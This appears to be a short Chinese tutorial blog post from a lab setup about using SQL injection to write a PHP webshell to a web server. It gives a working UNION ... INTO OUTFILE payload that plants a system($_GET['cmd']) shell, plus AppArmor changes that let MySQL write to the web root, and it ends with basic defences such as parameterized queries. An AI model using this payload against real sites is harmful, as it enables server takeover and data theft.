码迷,mamicode.com
首页 > 数据库 > 详细

web安全:sql 注入

时间:2016-03-07 20:48:02      阅读:282      评论:0      收藏:0      [点我收藏+]

标签:

sql注入获取webshell
寻找sql注入页面,操作数据库的地方
向网站写入sql语句
‘ union select 1,2, ‘<?php system($_GET["cmd"]);?>‘ into outfile ‘/var/www/myzoo/cmd.php‘

发现mysql没有写入权限,于是在apparmor中为mysql添加权限
vi /etc/apparmor.d/usr.sbin.mysqld
在文件最后添加:/var/www/myzoo/* rw,
然后重启apache重启apparmor
重新注入

*一般来说,嗅探1,2需要采用benchmark函数,根据返回时间来判断数据库表结构
*本网站是直接暴露数据库表结构的

于是在网站根目录写入了cmd.php文件
利用此文件执行我们想要做的事情
比如:查看服务器所有文件密码或者其他的

技术分享

防御sql注入获取webshell:
 
1.如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。

2.普通用户和系统用户权限设置

3.正则表达式验证用户输入,等等。
 
hash冲突dos网站攻击下次更新了

web安全:sql 注入

标签:

原文地址:http://www.cnblogs.com/ailx10/p/5251739.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!